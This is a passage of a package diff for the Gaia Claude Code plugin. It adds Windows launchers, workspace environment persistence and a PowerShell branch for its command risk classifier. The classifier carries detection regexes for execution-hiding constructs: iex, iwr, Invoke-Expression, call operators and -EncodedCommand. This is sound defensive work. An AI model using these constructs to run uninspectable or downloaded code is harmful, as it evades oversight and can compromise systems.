@jaguilar87/gaia 5.2.0-rc.1 → 5.2.0-rc.3

package/.claude-plugin/marketplace.json

@@ -9,7 +9,7 @@
     {
       "name": "gaia",
       "description": "Security-first multi-agent orchestration for Claude Code. Specialized agents cover the full development lifecycle — analysis, planning, execution, deployment — with codebase-aware context injection. Every command is risk-classified: read-only runs freely, state changes pause for your approval, and irreversible operations are permanently blocked.",
-      "version": "5.2.0-rc.1",
+      "version": "5.2.0-rc.3",
       "category": "devops",
       "author": {
         "name": "jaguilar87",
@@ -19,7 +19,7 @@
       "source": {
         "source": "github",
         "repo": "metraton/gaia",
-        "ref": "v5.2.0-rc.1"
+        "ref": "v5.2.0-rc.3"
       }
     }
   ]

package/.claude-plugin/plugin.json

@@ -1,6 +1,6 @@
 {
   "name": "gaia",
-  "version": "5.2.0-rc.1",
+  "version": "5.2.0-rc.3",
   "description": "Security-first multi-agent orchestration for Claude Code. Agents span the full lifecycle; commands are risk-classified \u2014 reads run free, state changes need approval, irreversible ops blocked.",
   "author": {
     "name": "jaguilar87",

package/CHANGELOG.md

@@ -29,6 +29,10 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0
 - `gaia context prune-workspaces --yes` is now correctly classified T3 (state-mutating): it hard-deletes `workspaces` rows, but the `context` group carried no mutative verb and classified read-only by elimination. Only the destructive subcommand is anchored (`COMMAND_SUBCOMMAND_MUTATIVE_UPGRADES[("gaia","context")]`); other `context` subcommands stay read-only. Separately, the Step 5 ALWAYS-dangerous flag scan now runs before the read-only-verb early return, so `git fetch --prune` (a read-only verb with a destructive flag) escalates to T3 instead of being skipped.
 - SubagentStop M4 fence footgun: a turn that built its contract via the `gaia contract` CLI and ran `gaia contract finalize` (valid terminal row) but forgot to echo the fenced `agent_contract_handoff` in its response text was hard-rejected by the full-verdict gate. `adapt_subagent_stop` now reconstructs the envelope from the agent's own finalized draft when the fence is missing, so the gate parses the completed contract; non-fatal (falls back to the unchanged gate when no finalized row exists). The minted-agent-id resolver was factored into a shared `resolve_minted_agent_id` reused by the backstop, truncation salvage, and this path.
 
+## [5.2.0-rc.3] - 2026-07-17
+
+## [5.2.0-rc.2] - 2026-07-17
+
 ## [5.2.0-rc.1] - 2026-07-17
 
 ## [5.1.3] - 2026-07-07

package/bin/cli/doctor.py

@@ -103,7 +103,16 @@ def _derive_workspace(override: str = None) -> Path:
     Algorithm
     ---------
     1. If *override* is given (from --workspace), validate it has .claude/
-       and return it directly.
+       and return it directly. (Highest priority -- always wins.)
+    1b. Else if the ``GAIA_WORKSPACE_PATH`` env var is set AND points at a dir
+       containing ``.claude/``, return it. This is set by the Windows launcher
+       (see install.py Step 6.5), which bakes the resolved workspace so a
+       global-shim invocation resolves the SAME workspace POSIX derives from
+       ``__file__``. Without this, the npm global ``gaia.cmd`` runs ``bin/gaia``
+       from the npm prefix, ``__file__`` lands there, and the derivation below
+       yields the npm prefix as the "workspace" -- a false CRITICAL. An env var
+       that is unset OR points at a dir without ``.claude/`` falls through to
+       the ``__file__`` derivation (it is a hint, not an override).
     2. Resolve Path(__file__) to its realpath and find the FIRST (leftmost)
        ``node_modules`` path segment; the workspace is everything before it.
     3. Sanity-check that ``@jaguilar87`` and ``gaia`` both appear somewhere
@@ -148,6 +157,16 @@ def _derive_workspace(override: str = None) -> Path:
             sys.exit(2)
         return ws
 
+    # --- GAIA_WORKSPACE_PATH env (baked by the Windows launcher) ---
+    # Consulted BEFORE the __file__ derivation but AFTER --workspace. Only
+    # honored when it resolves to a dir with .claude/; otherwise fall through
+    # (never a cwd walk-up -- that was removed on purpose). See docstring 1b.
+    env_ws = os.environ.get("GAIA_WORKSPACE_PATH")
+    if env_ws:
+        candidate = Path(env_ws).expanduser().resolve()
+        if (candidate / ".claude").is_dir():
+            return candidate
+
     # --- Derive from __file__ realpath ---
     script_path = Path(__file__).resolve()
     parts = script_path.parts
@@ -185,10 +204,21 @@ def _derive_workspace(override: str = None) -> Path:
             return workspace
 
     # --- No inferable consumer workspace ---
+    # Legible, actionable failure -- NOT a raw CRITICAL. Reached when Gaia is
+    # not running from inside a workspace's node_modules/@jaguilar87/gaia tree
+    # (global or symlinked install) AND GAIA_WORKSPACE_PATH is unset or points
+    # at a dir without .claude/. The two remedies are explicit; no cwd walk-up
+    # and no forced --workspace (both deliberately avoided).
     print(
-        "gaia doctor: global or symlinked install detected; "
-        "no consumer workspace inferable. "
-        "Specify --workspace <path> to choose one.",
+        "gaia doctor: could not resolve a workspace to check "
+        "(global or symlinked install detected, and GAIA_WORKSPACE_PATH is "
+        "not set to a directory with .claude/).\n"
+        "  Fix it one of two ways:\n"
+        "    - run `gaia doctor --workspace <path>` to check a specific "
+        "workspace now, or\n"
+        "    - reinstall with `gaia install --workspace <path>` (on Windows "
+        "this also persists GAIA_WORKSPACE_PATH so doctor resolves the "
+        "workspace automatically).",
         file=sys.stderr,
     )
     sys.exit(2)

package/bin/cli/install.py

@@ -61,8 +61,9 @@ Flags:
                      Useful when running install just to refresh the DB
                      schema from a non-Gaia directory.
   --no-path          Skip creating the ~/.local/bin/gaia launcher. By default
-                     install writes a workspace-aware bash launcher so `gaia`
-                     is callable from any cwd.
+                     install writes a workspace-aware launcher so `gaia` is
+                     callable from any cwd: a bash launcher on POSIX, and
+                     `gaia.cmd` + `gaia.ps1` on Windows.
 """
 
 from __future__ import annotations
@@ -92,30 +93,103 @@ _SEED_SURFACE_ROUTING = _PACKAGE_ROOT / "tools" / "scan" / "seed_surface_routing
 
 
 # ---------------------------------------------------------------------------
-# PATH launcher (~/.local/bin/gaia -- workspace-bound bash launcher)
+# PATH launcher (~/.local/bin/gaia -- workspace-bound launcher)
 # ---------------------------------------------------------------------------
-
-# Hardcoded launcher template. The workspace path is resolved at install time
-# (the cwd of `gaia install`) and baked into the script verbatim. No discovery,
-# no env vars, no fallbacks -- the shim is a 3-line exec to a fixed path.
 #
-# Rationale: the previous workspace-aware launcher walked up from $PWD looking
-# for node_modules/@jaguilar87/gaia/, which failed silently from any cwd
-# outside the consumer workspace tree (e.g. /tmp). Same conceptual bug that
-# rc.5 fixed in doctor.py for the Python layer.
+# Platform split (Step 6.5): the launcher form is chosen by platform. This is a
+# hard guard, not a preference -- a bash script has no meaning to the Windows
+# shell (PowerShell opens an "open with" dialog on an extensionless file), and
+# the POSIX shim's ``{workspace}/node_modules/...`` target does not exist under
+# ``npm install -g`` on any platform. So:
+#
+#   * POSIX  -> one bash launcher at ``<link>`` (unchanged behavior).
+#   * Windows -> ``<link>.cmd`` and ``<link>.ps1``, each of which
+#       (a) bakes the resolved workspace path,
+#       (b) exports ``GAIA_WORKSPACE_PATH`` so `gaia doctor` resolves the
+#           correct workspace from the env instead of deriving it from
+#           ``__file__`` (which, via the npm global shim, lands in the npm
+#           prefix and yields a false CRITICAL -- see doctor._derive_workspace),
+#       (c) execs the ACTUAL installed ``bin/gaia`` dispatcher
+#           (``_gaia_entrypoint()`` = ``<package_root>/bin/gaia``), which is
+#           valid for BOTH a global (`-g`) and a local install, unlike the
+#           POSIX shim's workspace-relative ``node_modules`` path.
+#
+# PATH precedence vs npm's own shim (Windows): `npm install -g @jaguilar87/gaia`
+# writes its own ``gaia.cmd`` into the npm global prefix (on PATH), and that
+# shim execs ``bin/gaia`` WITHOUT setting GAIA_WORKSPACE_PATH -- which is
+# exactly the origin of the false-CRITICAL bug. Gaia's launcher coexists with
+# and wins over npm's by being written to Gaia's own bin dir (default
+# ``~/.local/bin``): when that dir precedes the npm prefix on PATH, cmd.exe /
+# PowerShell resolve ``gaia`` (``gaia.cmd`` / ``gaia.ps1``) to Gaia's launcher,
+# which sets GAIA_WORKSPACE_PATH before dispatching.
 #
-# Re-running `gaia install` from a different workspace rewrites the shim to
-# point at that workspace -- the install action is what selects which Gaia
-# install ~/.local/bin/gaia targets.
+# Where Gaia's dir is NOT ahead of the npm prefix (the common case on Windows,
+# where ``~/.local/bin`` is not on PATH by convention), npm's shim wins and
+# execs ``bin/gaia`` WITHOUT the process-scoped GAIA_WORKSPACE_PATH export. The
+# doctor `__file__` fallback does NOT save this case: with the npm global shim,
+# ``__file__`` resolves into the npm prefix, so ``doctor._derive_workspace``
+# derives the npm prefix as the "workspace" and emits a FALSE CRITICAL (this is
+# the observed rc.2 bug, not a hypothetical). Two things close it, so the fix
+# does not depend on PATH order:
+#   1. `gaia install` on Windows PERSISTS GAIA_WORKSPACE_PATH to the USER
+#      environment (`setx`, see `_persist_workspace_env`). The next `gaia
+#      doctor` is a fresh process that inherits it, so doctor resolves the
+#      workspace via the env var regardless of which `gaia` won the PATH.
+#   2. `gaia install` WARNS when Gaia's launcher dir is not ahead of the npm
+#      prefix on PATH (see `_launcher_path_precedence`), so the shadowed-launcher
+#      condition is a visible, actionable signal instead of a silent surprise.
+#
+# Re-running `gaia install` from a different workspace rewrites the launcher(s)
+# to point at that workspace AND re-persists GAIA_WORKSPACE_PATH -- the install
+# action is what selects which workspace both the launcher and the env var
+# target (last-install-wins, single-valued).
+
+# POSIX bash launcher. The workspace path is resolved at install time and baked
+# in verbatim. No discovery, no env vars, no fallbacks -- a 3-line exec.
 _LAUNCHER_TEMPLATE = """#!/bin/bash
 # gaia -- workspace-bound launcher (workspace path hardcoded at install time)
 # Generated by `gaia install`. Re-run install from another workspace to retarget.
 exec python3 "{workspace_path}/node_modules/@jaguilar87/gaia/bin/gaia" "$@"
 """
 
+# Windows launchers. Both bake the resolved workspace, export GAIA_WORKSPACE_PATH,
+# and dispatch to the ACTUAL installed bin/gaia (global- or local-install safe).
+_CMD_LAUNCHER_TEMPLATE = """@echo off
+REM gaia -- workspace-bound launcher (generated by `gaia install`)
+REM Re-run install from another workspace to retarget. Exports GAIA_WORKSPACE_PATH
+REM so `gaia doctor` resolves this workspace instead of deriving from __file__.
+set "GAIA_WORKSPACE_PATH={workspace_path}"
+python "{gaia_bin}" %*
+"""
+
+_PS1_LAUNCHER_TEMPLATE = """# gaia -- workspace-bound launcher (generated by `gaia install`)
+# Re-run install from another workspace to retarget. Exports GAIA_WORKSPACE_PATH
+# so `gaia doctor` resolves this workspace instead of deriving from __file__.
+$env:GAIA_WORKSPACE_PATH = "{workspace_path}"
+& python "{gaia_bin}" @args
+exit $LASTEXITCODE
+"""
+
+
+def _is_windows() -> bool:
+    """True on Windows. Isolated so the platform guard is trivially patchable."""
+    return sys.platform == "win32"
+
+
+def _gaia_entrypoint() -> Path:
+    """Absolute path to the installed ``bin/gaia`` dispatcher.
+
+    This is ``<package_root>/bin/gaia`` -- the real location of the running
+    Gaia package, which resolves correctly under both a global (`npm i -g`)
+    and a local install. The POSIX shim's ``{workspace}/node_modules/...``
+    assumption breaks under `-g` (there is no workspace-relative node_modules);
+    the Windows launchers bake this resolved path instead.
+    """
+    return _PACKAGE_ROOT / "bin" / "gaia"
+
 
 def _render_launcher(workspace: Path) -> str:
-    """Render the launcher script with the workspace path baked in.
+    """Render the POSIX bash launcher with the workspace path baked in.
 
     The workspace must be an absolute, resolved path -- the rendered script
     references it verbatim. Quoting in the template uses double quotes so
@@ -124,21 +198,40 @@ def _render_launcher(workspace: Path) -> str:
     return _LAUNCHER_TEMPLATE.format(workspace_path=str(workspace))
 
 
+def _render_cmd_launcher(workspace: Path, gaia_bin: Path) -> str:
+    """Render the Windows ``gaia.cmd`` launcher (workspace + bin baked in)."""
+    return _CMD_LAUNCHER_TEMPLATE.format(
+        workspace_path=str(workspace), gaia_bin=str(gaia_bin)
+    )
+
+
+def _render_ps1_launcher(workspace: Path, gaia_bin: Path) -> str:
+    """Render the Windows ``gaia.ps1`` launcher (workspace + bin baked in)."""
+    return _PS1_LAUNCHER_TEMPLATE.format(
+        workspace_path=str(workspace), gaia_bin=str(gaia_bin)
+    )
+
+
 def _install_path_launcher(
     target_path: Path | None = None,
     link_path: Path | str = "~/.local/bin/gaia",
     overwrite: bool = False,
     workspace: Path | str | None = None,
+    gaia_bin: Path | str | None = None,
 ) -> dict:
-    """Install the workspace-bound bash launcher at `link_path`.
+    """Install the workspace-bound launcher at `link_path`.
 
-    The launcher is a 3-line script that execs into a hardcoded absolute path
-    pointing at ``<workspace>/node_modules/@jaguilar87/gaia/bin/gaia``. There
-    is no discovery logic, no env-var override, no fallback chain -- the path
-    is fixed at install time and only changes when ``gaia install`` runs again
-    from a different workspace.
+    Platform-guarded (Step 6.5): on Windows this writes ``<link>.cmd`` and
+    ``<link>.ps1`` (see ``_install_windows_launchers``); on POSIX it writes a
+    single bash launcher at ``<link>``. The POSIX behavior below is unchanged.
 
-    Behavior:
+    The POSIX launcher is a 3-line script that execs into a hardcoded absolute
+    path pointing at ``<workspace>/node_modules/@jaguilar87/gaia/bin/gaia``.
+    There is no discovery logic, no env-var override, no fallback chain -- the
+    path is fixed at install time and only changes when ``gaia install`` runs
+    again from a different workspace.
+
+    Behavior (POSIX):
       - If `link_path` is a symlink (legacy install): unlink, write launcher.
       - If `link_path` is a regular file with the expected content: noop.
       - If `link_path` is a regular file with different content and
@@ -151,10 +244,14 @@ def _install_path_launcher(
         target_path: accepted for API compatibility; the launcher embeds the
             workspace path instead. Ignored.
         link_path: where the shim is written (default ``~/.local/bin/gaia``).
+            On Windows, ``.cmd``/``.ps1`` suffixes are derived from this base.
         overwrite: replace existing different-content files when True.
         workspace: absolute path to the consumer workspace (the directory
             that contains ``node_modules/@jaguilar87/gaia/``). Resolved with
             ``Path.cwd().resolve()`` when None.
+        gaia_bin: Windows only -- the ``bin/gaia`` dispatcher the launchers
+            exec. Defaults to ``_gaia_entrypoint()`` (the installed package's
+            ``bin/gaia``, valid for global and local installs). Ignored on POSIX.
 
     Returns a dict with `action`, `path`, and `details`. `action` is one
     of: created, replaced, migrated, noop, skipped, error.
@@ -167,6 +264,20 @@ def _install_path_launcher(
     else:
         workspace_resolved = Path(workspace).expanduser().resolve()
 
+    # Windows: emit gaia.cmd + gaia.ps1 instead of a bash shim. The POSIX path
+    # below is left entirely unchanged.
+    if _is_windows():
+        entry = (
+            Path(gaia_bin).expanduser() if gaia_bin is not None
+            else _gaia_entrypoint()
+        )
+        return _install_windows_launchers(
+            link=link,
+            workspace=workspace_resolved,
+            gaia_bin=entry,
+            overwrite=overwrite,
+        )
+
     parent = link.parent
     try:
         parent.mkdir(parents=True, exist_ok=True)
@@ -268,11 +379,230 @@ def _install_path_launcher(
     }
 
 
+def _install_windows_launchers(
+    link: Path,
+    workspace: Path,
+    gaia_bin: Path,
+    overwrite: bool = False,
+) -> dict:
+    """Write the Windows ``gaia.cmd`` + ``gaia.ps1`` launchers.
+
+    Both are derived from ``link`` by suffix: ``<link>.cmd`` and ``<link>.ps1``
+    (so a default ``~/.local/bin/gaia`` yields ``gaia.cmd`` / ``gaia.ps1``).
+    Each bakes the resolved ``workspace``, exports ``GAIA_WORKSPACE_PATH``, and
+    dispatches to ``gaia_bin`` (the actual installed ``bin/gaia``).
+
+    Idempotent and non-destructive, mirroring the POSIX branch:
+      - missing            -> created
+      - present, matches   -> noop
+      - present, drifted   -> replaced (overwrite=True) / skipped (overwrite=False)
+      - a directory in the way -> skipped
+
+    The aggregate ``action`` is the "strongest" over the two files: error >
+    skipped > replaced > created > noop. ``path`` lists both files.
+    """
+    parent = link.parent
+    try:
+        parent.mkdir(parents=True, exist_ok=True)
+    except OSError as exc:
+        return {
+            "action": "error",
+            "path": str(link),
+            "details": f"failed to create parent {parent}: {exc}",
+        }
+
+    targets = [
+        (link.with_suffix(".cmd"), _render_cmd_launcher(workspace, gaia_bin)),
+        (link.with_suffix(".ps1"), _render_ps1_launcher(workspace, gaia_bin)),
+    ]
+
+    # Rank so the aggregate reports the most significant per-file outcome.
+    rank = {"noop": 0, "created": 1, "replaced": 2, "skipped": 3, "error": 4}
+    per_file: list[str] = []
+    worst = "noop"
+
+    for path, content in targets:
+        action = _write_windows_launcher_file(path, content, overwrite=overwrite)
+        per_file.append(f"{path.name}={action}")
+        if rank[action] > rank[worst]:
+            worst = action
+
+    return {
+        "action": worst,
+        "path": ", ".join(str(p) for p, _ in targets),
+        "details": "; ".join(per_file),
+    }
+
+
+def _write_windows_launcher_file(path: Path, content: str, overwrite: bool) -> str:
+    """Write one Windows launcher file idempotently. Returns the action string."""
+    if path.is_dir():
+        return "skipped"
+    if path.exists():
+        try:
+            current = path.read_text()
+        except OSError:
+            return "error"
+        if current == content:
+            return "noop"
+        if not overwrite:
+            return "skipped"
+        try:
+            path.write_text(content)
+        except OSError:
+            return "error"
+        return "replaced"
+    try:
+        path.write_text(content)
+    except OSError:
+        return "error"
+    return "created"
+
+
 # Backward-compatible alias -- existing tests/imports continue to work
 # while migrating to the new name.
 _create_path_symlink = _install_path_launcher
 
 
+# ---------------------------------------------------------------------------
+# Windows: persist GAIA_WORKSPACE_PATH + PATH-shadow warning
+# ---------------------------------------------------------------------------
+#
+# On Windows the launcher only exports GAIA_WORKSPACE_PATH PROCESS-scoped (see
+# the launcher templates). If npm's own `gaia.cmd` wins the PATH lookup, Gaia's
+# launcher never runs, the env var is never set, and doctor derives the npm
+# prefix as the workspace -> false CRITICAL. Persisting the var at USER scope
+# (`setx`) makes doctor resolve the workspace regardless of which `gaia` wins,
+# because the next `gaia doctor` is a NEW process that inherits the user env.
+
+
+def _persist_workspace_env(workspace: Path) -> dict:
+    """Windows only: persist GAIA_WORKSPACE_PATH to the USER environment.
+
+    Uses ``setx GAIA_WORKSPACE_PATH "<workspace>"`` -- a documented, built-in
+    Windows command that writes the value under HKCU\\Environment and broadcasts
+    WM_SETTINGCHANGE. Chosen over a direct ``winreg.SetValueEx`` because it is
+    a single self-contained call (no manual broadcast, no HKCU key handling),
+    and it mirrors the subprocess pattern the rest of this module already uses
+    (bootstrap, seeders). ``setx`` truncates at 1024 chars, which a workspace
+    path never approaches.
+
+    Semantics: last-install-wins, single-valued -- coherent with the launcher,
+    which bakes exactly one workspace. ``setx`` applies to FUTURE processes
+    (the current shell keeps its old value), which is precisely what doctor
+    needs: the next `gaia doctor` invocation is a new process.
+
+    Returns a step-result dict (``action``/``details``) compatible with
+    ``_report_step``. Never raises -- a failure here is advisory (the
+    process-scoped launcher export still covers the launcher path).
+    """
+    if not _is_windows():
+        return {"action": "noop", "details": "not Windows -- no env persistence needed"}
+
+    value = str(workspace)
+    try:
+        result = subprocess.run(
+            ["setx", "GAIA_WORKSPACE_PATH", value],
+            capture_output=True,
+            text=True,
+            check=False,
+        )
+    except OSError as exc:
+        return {"action": "error", "details": f"setx invocation failed: {exc}"}
+
+    if result.returncode != 0:
+        detail = (result.stderr or result.stdout or "unknown error").strip()[:200]
+        return {"action": "error", "details": f"setx exited {result.returncode}: {detail}"}
+
+    return {
+        "action": "created",
+        "details": f"GAIA_WORKSPACE_PATH persisted (user env) -> {value}",
+    }
+
+
+def _npm_global_prefix() -> "Path | None":
+    """Best-effort npm global prefix on Windows (where npm writes its shim).
+
+    Under ``npm install -g``, npm writes ``gaia.cmd`` into ``%APPDATA%\\npm``.
+    We use that convention rather than shelling out to ``npm config get prefix``
+    to keep the check offline and fast -- it feeds only an ADVISORY warning, so
+    a heuristic is acceptable. Returns None when APPDATA is unset (then the
+    precedence check only verifies Gaia's dir is present at all).
+    """
+    appdata = os.environ.get("APPDATA")
+    if appdata:
+        return Path(appdata) / "npm"
+    return None
+
+
+def _launcher_path_precedence(
+    gaia_bin_dir: Path,
+    npm_prefix: "Path | None",
+    path_dirs: "list[str]",
+) -> "str | None":
+    """Return an actionable warning when Gaia's launcher will NOT win the
+    ``gaia`` name resolution against npm's own shim -- else None.
+
+    Pure and platform-agnostic (every input is passed in), so it is unit-
+    testable on any OS. Comparison is case-insensitive and path-normalized
+    (Windows PATH entries vary in case and separators).
+
+    Two shadowing conditions produce a warning:
+      1. Gaia's launcher dir is not on PATH at all -> npm's shim always wins.
+      2. The npm prefix precedes Gaia's dir on PATH -> npm's shim wins.
+    """
+    def _norm(p) -> str:
+        return os.path.normcase(os.path.normpath(str(p)))
+
+    normalized = [_norm(p) for p in path_dirs if p]
+    gaia_norm = _norm(gaia_bin_dir)
+
+    gaia_idx = normalized.index(gaia_norm) if gaia_norm in normalized else None
+
+    if gaia_idx is None:
+        return (
+            f"{gaia_bin_dir} is not on PATH -- npm's own `gaia` shim will run "
+            "instead of Gaia's workspace-bound launcher. Add that dir to PATH "
+            "(ahead of the npm prefix) so `gaia` resolves to Gaia's launcher."
+        )
+
+    if npm_prefix is not None:
+        npm_norm = _norm(npm_prefix)
+        npm_idx = normalized.index(npm_norm) if npm_norm in normalized else None
+        if npm_idx is not None and npm_idx < gaia_idx:
+            return (
+                f"the npm prefix ({npm_prefix}) precedes Gaia's launcher dir "
+                f"({gaia_bin_dir}) on PATH -- npm's `gaia` shim wins, so the "
+                "workspace-bound launcher will not run. Move Gaia's dir ahead "
+                "of the npm prefix on PATH."
+            )
+
+    return None
+
+
+def _warn_launcher_shadowed(link: "Path | str", quiet: bool) -> "str | None":
+    """Windows only: emit an actionable warning when the launcher dir will not
+    win ``gaia`` resolution against npm's shim.
+
+    The plain ``PATH launcher: gaia.cmd=created`` step line is misleading when
+    the launcher is shadowed on PATH (it reports creation, not effectiveness);
+    this converts that into a visible, actionable signal. Returns the warning
+    message (also printed to stderr unless quiet) or None when not shadowed.
+    """
+    if not _is_windows():
+        return None
+
+    gaia_bin_dir = Path(link).expanduser().parent
+    warning = _launcher_path_precedence(
+        gaia_bin_dir=gaia_bin_dir,
+        npm_prefix=_npm_global_prefix(),
+        path_dirs=os.environ.get("PATH", "").split(os.pathsep),
+    )
+    if warning and not quiet:
+        print(f"  [!] PATH launcher: {warning}", file=sys.stderr)
+    return warning
+
+
 # ---------------------------------------------------------------------------
 # Bootstrap invocation
 # ---------------------------------------------------------------------------
@@ -632,7 +962,7 @@ def register(subparsers: argparse._SubParsersAction) -> argparse.ArgumentParser:
         dest="no_path",
         action="store_true",
         default=False,
-        help="Skip creating the ~/.local/bin/gaia symlink",
+        help="Skip creating the ~/.local/bin/gaia launcher",
     )
     return p
 
@@ -753,6 +1083,21 @@ def cmd_install(args: argparse.Namespace) -> int:
         # retargets the shim.
         path_res = _install_path_launcher(workspace=workspace)
         _report_step(name="PATH launcher", result=path_res, quiet=quiet, verbose=verbose)
+        # Windows: the "created" line above reports the launcher was WRITTEN,
+        # not that it will WIN `gaia` resolution. Warn when Gaia's launcher dir
+        # is not ahead of the npm prefix on PATH -- an actionable signal, not a
+        # false all-clear. No-op on POSIX.
+        _warn_launcher_shadowed(link="~/.local/bin/gaia", quiet=quiet)
+
+    # Step 6.6 -- Windows: persist GAIA_WORKSPACE_PATH to the user environment
+    # so `gaia doctor` resolves THIS workspace regardless of which `gaia` wins
+    # PATH. The launcher only exports it process-scoped; without this, when
+    # npm's shim wins, doctor derives the npm prefix and emits a false CRITICAL
+    # (the rc.2 bug). Runs even under --no-path: the env var, not the launcher,
+    # is what makes doctor's derivation correct. No-op on POSIX.
+    if _is_windows():
+        env_res = _persist_workspace_env(workspace)
+        _report_step(name="workspace-env", result=env_res, quiet=quiet, verbose=verbose)
 
     # Install owns Steps 1-6 only. Workspace scanning is a separate, on-demand
     # flow (`gaia scan`); install never triggers it. A clean install clears any

package/hooks/modules/security/mutative_verbs.py

@@ -631,6 +631,81 @@ _PY_MODULE_PACKAGE_MANAGERS: FrozenSet[str] = frozenset({
     "pip", "pip3", "pipenv", "poetry", "uv",
 })
 
+# ---------------------------------------------------------------------------
+# PowerShell lane (Step 1c-ps): Windows/.NET interpreter introspection
+# ---------------------------------------------------------------------------
+# The POSIX verb scanner is blind to PowerShell: `powershell.exe -Command
+# "<script>"` collapses the payload into one opaque token, so a mutative
+# `Remove-Item` inside it is never seen (false negative), while the old `-rf`
+# flag heuristic mis-read `-NoProfile` as `-rf` and over-blocked EVERY call
+# (false positive).  This lane mirrors `_INLINE_CODE_MAP`/`_check_script_file`
+# for the Windows shell: it introspects the payload and classifies each cmdlet
+# by its Verb-Noun VERB (the part before the hyphen) against PowerShell's own
+# approved-verb taxonomy -- so a never-seen cmdlet classifies correctly by its
+# verb (`Get-FooBar` -> read, `Set-FooBar` -> change) with NO per-cmdlet list.
+_POWERSHELL_INTERPRETERS: FrozenSet[str] = frozenset({
+    "powershell", "powershell.exe", "pwsh", "pwsh.exe",
+})
+
+# Read/inspection verbs -> NON-mutative (T0/T1).  The part before the hyphen of
+# a Verb-Noun cmdlet; matched case-insensitively.  Drawn from PowerShell's
+# approved-verb groups (Common/Data/Diagnostic) that only OBSERVE state.
+_PS_READ_VERBS: FrozenSet[str] = frozenset({
+    "get", "measure", "select", "where", "sort", "compare",
+    "test", "resolve", "find", "search", "show", "format",
+    "convertfrom", "convertto", "group", "join", "split", "read",
+})
+
+# Change verbs -> MUTATIVE (T3).  Any of these anywhere in the payload escalates
+# the WHOLE payload (composition rule mirror: any mutative stage -> T3).
+_PS_CHANGE_VERBS: FrozenSet[str] = frozenset({
+    "set", "new", "remove", "clear", "add", "move", "copy", "rename",
+    "start", "stop", "restart", "suspend", "resume", "register",
+    "unregister", "install", "uninstall", "import", "export", "write",
+    "enable", "disable", "mount", "dismount", "invoke", "push", "pop",
+    "save", "publish", "send", "update", "edit", "reset", "limit", "block",
+})
+
+# The `Out-*` verb is ambiguous: `Out-String`/`Out-Host`/`Out-Null` only render
+# to the pipeline/console (read), while `Out-File`/`Out-Printer` WRITE (change).
+# Split by noun rather than lumping the whole verb into one set.
+_PS_OUT_READ_NOUNS: FrozenSet[str] = frozenset({
+    "string", "host", "null", "default", "gridview",
+})
+
+# A Verb-Noun cmdlet token: a letter-led word, a hyphen, then a noun word.
+# A leading flag ("-Recurse", "-Command") cannot match -- the pattern requires
+# a letter immediately BEFORE the hyphen, and flags start with the hyphen.
+_PS_CMDLET_RE = _re.compile(r"\b([A-Za-z][A-Za-z]*)-([A-Za-z][A-Za-z0-9]*)\b")
+
+# Obfuscation / non-inspectable-execution markers -> T3 regardless of the
+# surrounding cmdlets.  These run BEFORE the cmdlet allowlist so a benign read
+# cmdlet piped into `iex` (`Get-Content x | iex`) cannot launder the payload.
+#   iex / iwr / icm  : bare aliases (Invoke-Expression / -WebRequest / -Command)
+#   call operators   : `&`/`.` at a statement boundary invoke an arbitrary target
+_PS_OBFUSCATION_RES: Tuple["_re.Pattern[str]", ...] = (
+    _re.compile(r"\b(iex|iwr|icm)\b", _re.IGNORECASE),
+    _re.compile(r"\binvoke-expression\b", _re.IGNORECASE),
+    # `&` or `.` used as a call operator at a statement boundary (start of
+    # payload or right after `;` `|` `{` `(` `&&`), followed by whitespace and a
+    # target.  Excludes a trailing path dot ("Get-ChildItem .") which has no
+    # following target.
+    _re.compile(r"(?:^|[;|{(]|&&)\s*[&.]\s+\S"),
+)
+
+# PowerShell `-EncodedCommand <base64>` (and its unambiguous abbreviations) hides
+# the real script inside a base64 blob that cannot be introspected -> T3.  Any
+# flag whose body is a prefix of "encodedcommand" (len>=2) or the documented
+# short alias "ec" is treated as the encoded-command flag.
+def _is_ps_encoded_flag(flag: str) -> bool:
+    body = flag.lstrip("-").lower()
+    if not body:
+        return False
+    if body == "ec":
+        return True
+    return len(body) >= 2 and "encodedcommand".startswith(body)
+
+
 # ---------------------------------------------------------------------------
 # Layer 1: Shell command extraction from string literals
 # ---------------------------------------------------------------------------
@@ -1255,6 +1330,44 @@ CLI_FAMILY_LOOKUP: Dict[str, str] = {
 # Dangerous Flag Scanning
 # ============================================================================
 
+# Longest packed POSIX short-flag bundle the ``-rf`` heuristic will consider.
+# Real destructive bundles are short ("-rf"=2, "-rfi"=3, "-rfvd"=4); a token
+# longer than this is a long-form word flag ("-NoProfile", "-Recurse"), not a
+# bundle of single-character flags.
+_MAX_POSIX_SHORT_FLAG_CLUSTER = 4
+
+# A CamelCase boundary (an uppercase letter immediately followed by a lowercase
+# one) marks a word, not a flag bundle: "No"/"Pro" in "-NoProfile", "Fo" in
+# "-Force".  Genuine packed short-flag bundles are lowercase ("-rf", "-rfi").
+_CAMEL_WORD_RE = _re.compile(r"[A-Z][a-z]")
+
+
+def _is_posix_short_flag_cluster(flag_chars: str) -> bool:
+    """True when *flag_chars* looks like a genuine packed POSIX short-flag bundle.
+
+    ``flag_chars`` is the token body with the leading ``-`` already stripped
+    ("rf" for "-rf", "NoProfile" for "-NoProfile").  A packed bundle is a run of
+    single-character flags -- short, all letters, no CamelCase word boundary.  A
+    long single-dash word flag from the .NET/PowerShell/Java family
+    ("-NoProfile", "-Force", "-Recurse", "-ExecutionPolicy") is NOT a bundle and
+    must not be mined for stray ``r``/``f`` characters.
+
+    Trade-off (documented): an uppercase-led bundle such as ``-Rf`` is treated
+    as a word ("Rf" trips the CamelCase gate) and so is NOT matched here.  This
+    is deliberate -- excluding the ubiquitous ``-NoProfile`` false positive on
+    every PowerShell command is worth far more than catching the rare
+    uppercase-packed ``-Rf`` form, and the ``-R``/``-r``/``-f`` single flags are
+    still caught by their exact-match handling above.
+    """
+    if not flag_chars or len(flag_chars) > _MAX_POSIX_SHORT_FLAG_CLUSTER:
+        return False
+    if not flag_chars.isalpha():
+        return False
+    if _CAMEL_WORD_RE.search(flag_chars):
+        return False
+    return True
+
+
 def _scan_dangerous_flags(
     tokens: Union[List[str], tuple],
     cli: str,
@@ -1314,15 +1427,26 @@ def _scan_dangerous_flags(
                     found.append(token)
 
         # Check for compound short flags containing dangerous combos
-        # e.g., "-rfi" contains both -r and -f
+        # e.g., "-rfi" contains both -r and -f.
+        #
+        # This heuristic MUST fire only on genuine packed POSIX short-flag
+        # bundles ("-rf", "-rfi", "-fv"), never on a long single-dash *word*
+        # flag from the .NET/PowerShell/Java family ("-NoProfile", "-Force",
+        # "-Recurse", "-Xmx").  The old rule tested only ``"r" in chars and "f"
